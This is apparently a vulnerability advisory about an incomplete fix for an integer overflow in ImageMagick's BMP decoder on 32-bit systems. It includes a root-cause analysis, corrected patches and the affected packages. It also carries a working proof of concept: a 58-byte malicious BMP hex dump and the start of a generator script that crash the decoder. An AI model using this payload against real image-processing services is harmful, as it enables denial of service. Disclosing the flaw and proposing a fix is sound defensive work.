Out-of-bounds read In imagemagick
Description
ImageMagick has Integer Overflow in BMP Decoder (ReadBMP)
Summary
CVE-2025-57803 claims to be patched in ImageMagick 7.1.2-2, but the fix is incomplete and ineffective. The latest version 7.1.2-5 remains vulnerable to the same integer overflow attack.
The patch added BMPOverflowCheck() but placed it after the overflow occurs, making it useless. A malicious 58-byte BMP file can trigger AddressSanitizer crashes and DoS.
Affected Versions:
ImageMagick < 7.1.2-2 (originally reported)
ImageMagick 7.1.2-2 through 7.1.2-5 (incomplete patch)
Platform and Configuration Requirements:
32-bit systems ONLY (i386, i686, armv7l, etc.)
Requires size_t = 4 bytes. (64-bit systems are NOT vulnerable (size_t = 8 bytes))
Requires modified resource limits: The default width, height, and area limits must have been manually increased (Systems using default ImageMagick resource limits are NOT vulnerable).
Details(Root Cause Analysis)
Vulnerable Code Location
File: coders/bmp.c
Lines: 1120-1122 (in version 7.1.2-5)
The Incomplete Patch
// Line 1120: Integer overflow happens HERE extent = image->columns * bmp_info.bits_per_pixel; // OVERFLOW! // Line 1121: Uses already-overflowed value bytes_per_line = 4*((extent+31)/32); // Line 1122: Checks the RESULT, not the multiplication if (BMPOverflowCheck(bytes_per_line, image->rows) != MagickFalse)...
Why the Patch Fails
Attack Vector (32-bit system):
Input BMP Header: Width: 536,870,912 (0x20000000) Height: 1 Bits Per Pixel: 32 Calculation on 32-bit system: extent = 536,870,912 × 32 = 17,179,869,184 (0x400000000)...
The check fails because:
The overflow happens at Line 1120 (extent calculation)
extent becomes 0 due to 32-bit truncation
bytes_per_line is calculated as 0 (Line 1121)
BMPOverflowCheck(0, 1) returns False (no overflow detected)
Code proceeds with corrupted values → ASan crash
PoC(Proof of Concept)
Minimal 58-byte BMP File
Hex dump:
00000000 42 4d 3a 00 00 00 00 00 00 00 36 00 00 00 28 00 |BM:.......6...(.| 00000010 00 00 00 00 00 20 01 00 00 00 01 00 20 00 00 00 |..... ...... ...| 00000020 00 00 00 00 00 00 13 0b 00 00 13 0b 00 00 00 00 |................| 00000030 00 00 00 00 00 00 00 00 00 00 |..........|
Key Fields:
Offset 0x12: Width = 00 00 00 20 = 0x20000000 (536,870,912)
Offset 0x16: Height = 01 00 00 00 = 1
Offset 0x1C: BPP = 20 00 = 32
Python Generator
#!/usr/bin/env python3 import struct width = 0x20000000 # 536,870,912 height = 1 bpp = 32 # BMP File Header (14 bytes)...
Reproduction Steps
Environment Setup
# Use 32-bit Docker container docker run -it --name test-32bit i386/ubuntu:latest bash # Install dependencies apt-get update apt-get install -y clang build-essential wget tar \ libpng-dev libjpeg-dev libfreetype6-dev libxml2-dev \ zlib1g-dev liblzma-dev libbz2-dev...
Build with AddressSanitizer (32-bit IMPORTANT!)
# Configure for 32-bit build (CRITICAL - must be 32-bit!) ./configure \ --host=i686-pc-linux-gnu \ --disable-dependency-tracking \ --disable-silent-rules \ --disable-shared \ --disable-openmp \ --disable-docs \...
AddressSanitizer Output
==56720==AddressSanitizer CHECK failed: ../../../../src/libsanitizer/asan/asan_poisoning.cc:37 "((AddrIsInMem(addr + size - (1ULL << kDefaultShadowScale)))) != (0)" (0x0, 0x0) ================================================================= ==56720==AddressSanitizer CHECK failed: ../../../../src/libsanitizer/asan/asan_descriptions.cc:80 "((0 && "Address is not in memory and not in shadow?")) != (0)" (0x0, 0x0) ==56720==WARNING: ASan is ignoring requested __asan_handle_no_return: stack top: 0x40801000; bottom 0x4372f000; size: 0xfd0d2000 (-49471488) False positive error reports may follow...
It operates in the following environments.
export MAGICK_WIDTH_LIMIT=2000000000 export MAGICK_HEIGHT_LIMIT=2000000000 export MAGICK_AREA_LIMIT=10000000000
Impact
Attack Scenario
Attacker creates a 58-byte malicious BMP file
Uploads to web service that uses ImageMagick (on 32-bit system)
ImageMagick attempts to process the image
Integer overflow triggers AddressSanitizer crash
Service becomes unavailable (Denial of Service)
Real-world targets:
Web hosting platforms with image processing
CDN services with thumbnail generation
Legacy embedded systems
IoT devices running 32-bit Linux
Docker containers using 32-bit base images
Recommended Fix
Correct Patch
The overflow check must happen before the multiplication:
// Add overflow check BEFORE calculating extent if (BMPOverflowCheck(image->columns, bmp_info.bits_per_pixel) != MagickFalse) ThrowReaderException(CorruptImageError, "IntegerOverflowInDimensions"); // Now safe to calculate extent = image->columns * bmp_info.bits_per_pixel; bytes_per_line = 4*((extent+31)/32); ...
Alternative: Use 64-bit Arithmetic
// Force 64-bit calculation uint64_t extent_64 = (uint64_t)image->columns * (uint64_t)bmp_info.bits_per_pixel; if (extent_64 > UINT32_MAX) ThrowReaderException(CorruptImageError, "ImageDimensionsTooLarge"); extent = (size_t)extent_64; bytes_per_line = 4*((extent+31)/32);...
Credits
wooseokdotkim [email protected]
Mitigation
Update Impact
Minimal update. May introduce new vulnerabilities or breaking changes.
Ecosystem | Package | Affected version | Patched versions |
|---|---|---|---|
debian 11 | 8:6.9.11.60+dfsg-1.3+deb11u7 | ||
debian 12 | 8:6.9.11.60+dfsg-1.6+deb12u5 | ||
debian 13 | 8:7.1.1.43+dfsg1-1+deb13u3 | ||
debian 14 | 8:7.1.2.7+dfsg1-1 | ||
nuget | 14.9.0 | ||
nuget | 14.9.0 | ||
nuget | 14.9.0 | ||
nuget | 14.9.0 | ||
nuget | 14.9.0 | ||
nuget | 14.9.0 |
1-10 of 12
10
Aliases
References